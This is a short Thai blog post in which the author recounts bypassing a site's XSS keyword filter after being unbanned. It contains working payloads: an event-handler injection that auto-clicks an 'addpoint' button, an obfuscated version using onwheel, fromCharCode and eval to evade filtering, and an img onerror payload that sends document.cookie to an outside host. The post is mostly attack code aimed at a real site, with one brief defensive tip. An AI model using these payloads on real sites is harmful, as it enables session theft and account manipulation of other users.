หลังจากผมโดนปลดแบนใน ss แน่นอนครับ ภารกิจอันดับแรกคือหาว่ายังทำ xss
บน ss ได้หรือเปล่า ผมลองวิธีเดิมครับ
x” onmouserover=document.getElementsByClassName(‘addpoint_button’)[0].click();//
ปรากฏว่าโปรแกรมเมอร์กรองคำว่า onmouse getElementsByClassName และ addpoint_button
ออกครับถ้าทำแบบด้านบนจะเหลือแค่ over=document.(”)[0].click();// ทำให้ code ทำงานไม่ได้ครับ
มันก็เลยเกิดคำถามว่าทำไมตอนที่เราทดสอบ xss เราต้องใช้ alert() แค่ function เดียวจะทำอะไรได้ ?
ผมก็ค้นจนเจอว่าจริงแล้ว function ที่ต้องกลัวคือ eval() ตัว eval จะรับเอา string มาแล้วรันเป็น code ครับ
ดังนั้นผมก็เลยปรับโค้ดเป็น
onwheel=”a=String.fromCharCode(39)+String.fromCharCode(97)+String.fromCharCode(100)
+String.fromCharCode(100)+String.fromCharCode(112)+String.fromCharCode(111)+
String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(116)+
String.fromCharCode(95)+String.fromCharCode(98)+String.fromCharCode(117)+
String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(111)
+String.fromCharCode(110)+String.fromCharCode(39);eval(‘document.ge’+’tElementsB’
+’yClassName(‘+a+’)[0].click()’);//
คือ ถ้า onmouse โดนบล๊อคก็เหลือ event อีกหลาย ๆ แบบ onwheel onerror ที่สามารถใช้งานได้
ถ้า string โดนกรองออกเราก็ใช้ eval หลบโดยการแยก string ออกเป็นส่วน ๆ
แบบนี้ document.ge’+’tElementsB’+’yClassName เพื่อหลบการกรองคำ หรือใช้ fromcharcode เพื่อหลบตัวอักษร
บางตัวก็ได้ครับ จริง ๆ ผมเรียนรู้อะไรเยอะจากครั้งนี้สรุปได้ดังนี้ครับ
– กรองคำบางคำออกไม่เวิร์คแน่ ๆ ต้องกรองพวก ‘ ” ( ) < > พวกนี้ออกจะแก้ได้ค่อนข้างแน่นอน
– ที่เวลาทดสอบทำ alert เพราะกลัว eval
– ถ้าเราสามารถทำ xss ได้แล้วเราสามารถแก้ไข html ที่จุดอื่น ๆ ได้ เช่น แก้ signnature ได้
จากจุดนี้เอาประยุกต์ใช้ได้หลายอย่าง
– ถ้าจะขโมย cookie จาก tag img ทำแบบนี้ครับ
<img src=x onerror=’new Image().src=”http:///?x=”+document.cookie’>
Recent Comments